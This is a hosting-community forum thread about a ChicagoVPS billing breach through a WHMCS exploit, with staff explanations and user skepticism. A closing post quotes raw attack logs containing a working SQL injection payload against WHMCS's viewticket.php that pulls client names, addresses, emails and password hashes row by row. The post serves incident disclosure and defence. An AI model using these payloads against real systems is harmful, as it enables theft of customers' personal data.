ChicagoVPS global password reset? Hacked again?

[CVPS_Chris]

Hey guys, making a post regarding what happened since I dont like the stupidity over here:

Our logs indicate that an individual may have ran the whmcs2.py script on our WHMCS install. One of our employees acted immediately when it came to our attention that there was a new WHMCS exploit available. After an evaluation of our logs, we have identified that about 3% of our customers were affected and we've went ahead and issued a password reset to those customers to be on the safe side. The customers that were affected were legacy customers, meaning that  high percentage were inactive clients.

We issued a partial password reset towards the 3% of customers that may have been affected by this WHMCS exploit. If you received a password reset email and you did not request one, you were possibly affected, and your password was reset for your safety. While passwords are encrypted, we do not want to take any chances when it comes to the security of our customers. The only information that possibly was accessed by a third party for the 3% of customers impacted were the following: clientid, name, address, email address, encrypted password. No VPS service details or credit card information was accessed in any way.

We have already patched our WHMCS installation, and have adjusted our security settings to make it harder for exploits in general to be ran. One of the measures we took to further enhance security was doing a complete overhaul on our modsecurity rules on the billing server.

An email is currently going out to the clients that were affected explaining the situation.

Regards

Chris

 

[CVPS_Chris]

Following a lead in IRC, I browse over to LET and see this thread: http://lowendtalk.com/discussion/15185/global-chicagovps-password-reset

Anyone else get this? Curious if it was 'precautionary' or if they were victim of the new WHMCS exploit?

EDIT: Actually, it sounds like they were indeed hacked again. Can't really blame them this time, and at least they reset passwords instead of leaving customers hanging.... But yeah.


[7:52:34 PM] they were displaying empty DB tables when I learned about the exploit
[7:53:26 PM] when you visited their billing it listed the names of the tables in whmcs sql
[7:53:37 PM] then it was down less then 5 minutes later
[7:55:02 PM] So yes they got hacked

Curious to see what CVPS has to say.

Manndude, I request you please revise your post as it is innaccurate.

The above is not true, may I know who said this? The exploit doesn't work that way and doesn't let you change the website. It sounds like someone is just trying to stir the pot.

 

[drmike]

Hey guys, making a post regarding what happened since I dont like the stupidity over here:

Come on, you just aren't allowed over here.   That's the Biloh-way.   How many people, other providers has he warned with stern language about posting over here?

I stopped counting how many times ChicagoVPS has been hacked.   Sorry, my ADD is waning with you Chris.   Is this the fourth time?

The big $100 question is did CVPS' database get dumped again?

You folks ought to invest in your own panel.

 

[drmike]

Hey CVPS_Chris,  no offense fellow, but I posted this 10 days ago...

You folks might want to get up to speed and to work:

http://vpsboard.com/topic/2211-large-hacked-hosting-companies-violating-california-law-and-new-york-law/

 

[Reece-DM]

Come on, you just aren't allowed over here.   That's the Biloh-way.   How many people, other providers has he warned with stern language about posting over here?

I stopped counting how many times ChicagoVPS has been hacked.   Sorry, my ADD is waning with you Chris.   Is this the fourth time?

The big $100 question is did CVPS' database get dumped again?

You folks ought to invest in your own panel.

Chances are it all got dumped, I can't see just 3% being "Reset" the script would of pulled all of the info out, in a not so slow manner either. infact the extraction process on it was quick from my testing.. on myself might I add.

The above is not true, may I know who said this? The exploit doesn't work that way and doesn't let you change the website. It sounds like someone is just trying to stir the pot.

From what I heard (I'm not to good with Python) but a php file can be written to as well if there is the right permissions to do it. The script is apparently able to do this.

Without the bitching going on @DrMike -- Good on you Chris for following up the post here to bad it happened to you again that does suck. :lol: but it can happen to anyone, I'm sure there is a few providers hit whom are not even aware of it. Atleast you guys took swift action I guess.

 

[drmike]

This is why Reece, I stand by not using popular software or popular anything...  High value target when every Tom, Dick and Harry out there using the same basket of mal-ware  One vulnerability and wrecks masses.

Folks better start being less high profile (CVPS) and more anonymous about software (dev. your own or support such).

I think this hack and what is able to be done is far worse than anyone is saying.  Expect to see mass issues this upcoming week and mighty big data-derived problems.

 

[DomainBop]

I posted my thoughts here http://lowendtalk.com/discussion/comment/353151/#Comment_353151

 

[SPINIKR-RO]

Just curious, not trying to 'stir the pot' - How does only %3 get dumped?

 

[rds100]

Perhaps by limiting the response body size or something? Who knows.

 

[Lee]

One thing is for sure, when there is an exploit like this CVPS always seems to be a target and their slow response times catch them out. 

 

[CVPS_Chris]

For the doubters out there, it was only 3% of the customers most of which were inactive.

"We have extensive logging set up on our infrastructure and log all of the POST data. All logs are not logged on our own servers, they are sent in real time to an offsite datacenter. That is how we were able to determine exactly how many were affected, and we wrote a script to only reset and email the 3% impacted."

We cought the script in the act and shut down WHMCS immediatly and it only got the first 3%. I will no longer reply to this as we are being "transparent" like you always asked.

 

[jarland]

Like them or not, gotta feel a little bad for CVPS on these matters. You know they get hit with these exploits long before most hosts in their markets even hear about the reports. Starting to think it'd be worthwhile for CVPS to develop in house solutions to break the cycle of "new exploit in generic software, let's hit CVPS!"

 

[MannDude]

For the doubters out there, it was only 3% of the customers most of which were inactive.

"We have extensive logging set up on our infrastructure and log all of the POST data. All logs are not logged on our own servers, they are sent in real time to an offsite datacenter. That is how we were able to determine exactly how many were affected, and we wrote a script to only reset and email the 3% impacted."

We cought the script in the act and shut down WHMCS immediatly and it only got the first 3%. I will no longer reply to this as we are being "transparent" like you always asked.

That's good news, and good to hear. Glad to see that you've learned from past mistakes and have taken action to ensure that your customer's data hasn't been compromised again.

Cheers and good luck.

 

[jarland]

For the doubters out there, it was only 3% of the customers most of which were inactive.

"We have extensive logging set up on our infrastructure and log all of the POST data. All logs are not logged on our own servers, they are sent in real time to an offsite datacenter. That is how we were able to determine exactly how many were affected, and we wrote a script to only reset and email the 3% impacted."

We cought the script in the act and shut down WHMCS immediatly and it only got the first 3%. I will no longer reply to this as we are being "transparent" like you always asked.

Props for the straight forward detail.

 

[Jack]

Just curious, not trying to 'stir the pot' - How does only %3 get dumped?

60k clients is quite a lot.. 

 

[MannDude]

60k clients is quite a lot.. 

Haha... yeah. They most certainly do not have 60K clients total. No way is 3% of their client base = to 60K.

 

[bdtech]

There's zero way you can be sure they only got 3 percent? No logs would give you enough info

 

[lbft]

Like them or not, gotta feel a little bad for CVPS on these matters.

Why? Chris created this situation by pissing off half the internet, now he's got to live with it.

My only sympathy is with the people who had their personally identifiable information leaked.

 

[tchen]

There's zero way you can be sure they only got 3 percent? No logs would give you enough info

The sql injection contains the userid requested. Which increments toward total rows. That said, each row could be an active user, a lapsed client, or even a fraud-locked one. I wouldn't put it past them to have accumulated so much debris in their system to have such a high 'client' count.

 

[CVPS_Adam]

There's zero way you can be sure they only got 3 percent? No logs would give you enough info

Hi Bdtech,


This is Adam from ChicagoVPS. Below is what the security firm who setup our logging, helped us with modsecurity and so forth had to say about this.


"We set up logging for ChicagoVPS a couple of months ago, including writing a custom module for Apache that sends all POST data to our own log server. All kinds of logs are sent in real time, so that way we can go back and look at the logs if anything occurs."


"This is what we got in the POST data right before the server was taken into maintenance mode. For example, If you install an unsecured WHMCS and run the exploit against yourself and log the POST data, this is exactly what you would see:


"Location: POST /viewticket.php
Client IP: 209.59.131.87:53212
HTTPd Timestamp: 1382122285
Content-Length: 256
Content-Type: application/x-www-form-urlencoded
Host: billing.chicagovps.net
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
PostData: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT CONCAT(id,0x3a,firstname,0x3a,lastname,0x3a,address1,0x3a,address2,0x3a,city,0x3a,country,0x3a,ip,0x3a,email,0x3a,password) FROM tblclients LIMIT 386,1),0,0,0,0,0,0,0,0,0,0,0#"

"Location: POST /viewticket.php
Client IP: 209.59.131.87:53218
HTTPd Timestamp: 1382122286
Content-Length: 256
Content-Type: application/x-www-form-urlencoded
Host: billing.chicagovps.net
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
PostData: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT CONCAT(id,0x3a,firstname,0x3a,lastname,0x3a,address1,0x3a,address2,0x3a,city,0x3a,country,0x3a,ip,0x3a,email,0x3a,password) FROM tblclients LIMIT 387,1),0,0,0,0,0,0,0,0,0,0,0#"

"Location: POST /viewticket.php
Client IP: 209.59.131.87:53225
HTTPd Timestamp: 1382122287
Content-Length: 256
Content-Type: application/x-www-form-urlencoded
Host: billing.chicagovps.net
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
PostData: tid[sqltype]=TABLEJOIN&tid[value]=-1 union select 1,0,0,0,0,0,0,0,0,0,0,(SELECT CONCAT(id,0x3a,firstname,0x3a,lastname,0x3a,address1,0x3a,address2,0x3a,city,0x3a,country,0x3a,ip,0x3a,email,0x3a,password) FROM tblclients LIMIT 388,1),0,0,0,0,0,0,0,0,0,0,0#"


"So the last client obtained was the 388th person from the top of the table. So the exploit (whmcs2.py) as written doesn't do a full dump of the database all at once, but one user at a time. Since it only pulls one user at a time, by looking at the POST data - we can tell the last user that was pulled. Then all we had to do was to walk through the same users that were affected, put their ID's in a separate file, then do a mass password reset. I confirmed the exploit by running the exploit against the server and that it was in fact pulling data one by one."


"Lucky for all of us, one of the employees found out about the exploit and put the database into maintenance mode and contacted us. I then proceed to take the billing website fully offline in case the exploit still worked in maintenance mode, even though no data would be passed back. Afterwards, we went over and updated modsecurity rules so that tbladmins, tblclients and other tables cannot be specified in a POST. If you doubt this, try submitting a ticket using one of those key words (not giving you the full list here) - and see what happens. In addition to this, we identified the people who were affected and did a mass password reset."


"Bottom line, always send your logs off to a remote server. And most exploits use http POST, so always log all the POST data. It's a good indication if somebody is trying to break in, or if they already did, to be able to assess how much damage they did and to find ways to update your security."


"I understand that the latest rash of WHMCS and SolusVM exploits have rattled many people, and I join you in wondering what those programmers are doing with our hard-earned money while allowing other people to exploit our providers and end up affecting us as the customer. But do not confuse fact with fiction, as there are companies that are actually trying to improve and do better."